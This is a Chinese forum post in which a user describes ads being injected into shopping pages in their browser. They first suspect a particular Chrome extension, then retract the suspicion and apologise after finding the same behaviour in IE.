最近连续发生两次被浏览器（插件？）劫持并嵌入广告的事情，因为我最近往返厦门与上海，中途更换过操作系统，所以应该没有运营商劫持、系统应用劫持的可能性。

规律：
每次出现被劫持都是在安装 v2ex plus chrome扩展后 https://www.v2ex.com/t/198074
在厦门，那天是中午安装的，第二天出现广告。删除后不再出现。
在上海，昨天早上安装的，晚上就出现广告。
我怀疑过这个扩展，但是在源代码里找不到和iframe有关的字样……
（防作者毁灭证据我已经备份了一份）

昨晚出现过一次，是在天猫，今天又出现了一次，在亚马逊。
浏览器：QQ浏览器 9.01 Beta 2617 （Chrome 44）

我刚刚把亚马逊被劫持的网页源码保存下来了：

在这里我对 v2ex plus 的作者致歉，我的确没有经过严格核查就把 v2ex plus 写在帖子里造成对该插件的不良影响。
经过我整个下午的核查，发现相同的情况还出现在 IE 下。这个劫持触发条件至今还没有摸透，每次浏览器设置变动，劫持现象就会消失一阵子。
如果有新发现，我将会进行严谨的测试后再发表出来和大家探讨，谢谢大家的关心。
